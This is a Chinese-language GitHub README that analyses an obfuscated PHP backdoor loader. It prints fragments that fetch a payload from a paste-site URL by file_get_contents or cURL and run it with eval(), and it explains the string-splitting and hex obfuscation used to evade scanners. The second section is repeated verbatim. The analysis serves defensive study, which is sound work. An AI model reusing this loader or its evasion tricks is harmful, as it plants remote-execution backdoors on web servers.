securi3ytalent/Malware-Breakdown-Code-Analysis
GitHub: securi3ytalent/Malware-Breakdown-Code-Analysis
一个专注于 PHP 恶意软件样本的代码分析教学仓库,详细解读混淆技术与执行流程。
Stars: 0 | Forks: 0
# 恶意软件分解代码分析
## 🛑 ***[Main_Mal.php](./Main_Mal.php)*** 恶意软件分解(代码分析)
该文件包含一个混淆的 PHP 加载器,用于从远程服务器获取代码并直接执行。这是一种常见的 Web Shell/后门模式。
**🔎 1. 远程 URL**
首先,恶意软件构建了一个 URL:`https://ghostbin.axel.org/paste/r5cbf/raw`
```
$_u = 'h' . 't' . 't' . 'p' . 's' . ':' . '/' . '/' .
'g' . 'h' . 'o' . 's' . 't' . 'b' . 'i' . 'n' . '.' . 'a' . 'x' . 'e' . 'l' . '.' . 'o' . 'r' . 'g' . '/' .
'p' . 'a' . 's' . 't' . 'e' . '/' .
'r' . '5' . 'c' . 'b' . 'f' . '/' .
'r' . 'a' . 'w';
// $_u = 'https://ghostbin.axel.org/paste/r5cbf/raw';
```
**🔍 2. 检查服务器设置**
检查 `allow_url_fopen` 是否已启用:
```
$_open = call_user_func($_iniget, 'a'.'l'.'l'.'o'.'w'.'_' . 'u'.'r'.'l'.'_' . 'f'.'o'.'p'.'e'.'n');
// $_open = ini_get('allow_url_fopen');
```
如果已启用,恶意软件将使用 file_get_contents() 来获取远程数据。
***检查 cURL 是否存在:*** `$_curl = function_exists('curl_init');`
如果 cURL 可用,它将使用 cURL 函数来获取 Payload。
**🌐 3. 下载远程 Payload** 如果 `allow_url_fopen` 已启用:
```
$_out = file_get_contents($_u);
```
否则,回退到 cURL:
```
curl_init()
curl_setopt()
curl_exec()
curl_close()
```
这些函数从远程 URL 获取数据。
**⚠️ 4. 关键执行步骤:** 获取 Payload 后:
```
eval('?>' . base64_decode(base64_encode($_out)));
```
### 这里发生了什么?
- 远程数据被获取
- 它是 Base64 编码的
- 然后被解码
- 最后通过 eval() 执行
## 🧩 混淆技术
代码还试图隐藏函数名:
```
'f'.'i'.'l'.'e'.'_'...'get_contents'
```
**目的:**
- 增加手动阅读的难度
- 绕过某些杀毒软件扫描
- 增加分析难度
# 🔥 简单解释 - 完整执行流程
## 🛑 ***[Mal_02_version.php](./Mal_02_version.php)*** 恶意软件分解(代码分析)
文件 `Main_Mal.php` 包含一个隐藏的远程加载器。
它动态地从远程 URL 获取代码:`https://ghostbin.axel.org/paste/r5cbf/raw`。我发现了另一个混淆版本的代码 `Mal_02_version.php`
该工具自动将可读的 PHP 代码转换为高度混淆的版本,以使其难以分析。
## 🛠 混淆工具做了什么
该工具应用了多层保护:
### 1️⃣ 字符串编码
函数名和关键字被转换为:
- 十六进制格式 (`\x31\x32...`)
- 分割字符串拼接
- 随机化的变量名
示例:
```
ini_set
```
变成了:`"\x69\x6e..."`
⚠️ **警告:博客文章正在撰写中。`
# 🔥 简单解释 - 完整执行流程
## 🛑 ***[Mal_02_version.php](./Mal_02_version.php)*** 恶意软件分解(代码分析)
文件 `Main_Mal.php` 包含一个隐藏的远程加载器。
它动态地从远程 URL 获取代码:`https://ghostbin.axel.org/paste/r5cbf/raw`。我发现了另一个混淆版本的代码 `Mal_02_version.php`
该工具自动将可读的 PHP 代码转换为高度混淆的版本,以使其难以分析。
## 🛠 混淆工具做了什么
该工具应用了多层保护:
### 1️⃣ 字符串编码
函数名和关键字被转换为:
- 十六进制格式 (`\x31\x32...`)
- 分割字符串拼接
- 随机化的变量名
示例:
```
ini_set
```
变成了:`"\x69\x6e..."`
⚠️ **警告:博客文章正在撰写中。`